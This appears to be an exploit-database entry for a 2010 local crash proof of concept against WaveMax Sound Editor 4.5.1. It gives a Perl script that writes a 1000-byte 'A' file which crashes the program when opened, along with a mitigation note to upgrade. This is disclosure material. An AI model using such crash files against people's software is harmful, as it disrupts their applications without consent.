header-logo
Suggest Exploit
vendor:
WaveMax Sound Editor
by:
h1ch4m
7,5
CVSS
HIGH
Local Crash
119
CWE
Product Name: WaveMax Sound Editor
Affected Version From: 4.5.1
Affected Version To: 4.5.1
Patch Exists: YES
Related CWE: N/A
CPE: a:wave-max:wavemax_sound_editor
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2010

WaveMax Sound Editor 4.5.1 Local Crash PoC

A local crash vulnerability exists in WaveMax Sound Editor 4.5.1. By creating a file with 1000 'A' characters and opening it with the application, a crash can be triggered. This can be exploited by an attacker to crash the application.

Mitigation:

Upgrade to the latest version of WaveMax Sound Editor.
Source

Exploit-DB raw data:

####
####
####Exploit Title: WaveMax Sound Editor 4.5.1 Local Crash PoC
####Software Link: http://www.wave-max.com/wavemax/
####Tested on: Win XP SP3
####Date: 04-12-2010
####Author:  h1ch4m
####Email: h1ch4m@live.fr
####
####



my $file= "1.cda";
my $junk = "\x41" x 1000;
open($FILE,">$file");
print $FILE $junk;
close($FILE);
print "File Created successfully\n";
sleep(1);

Navigation

Suggest Exploit

Services By CQR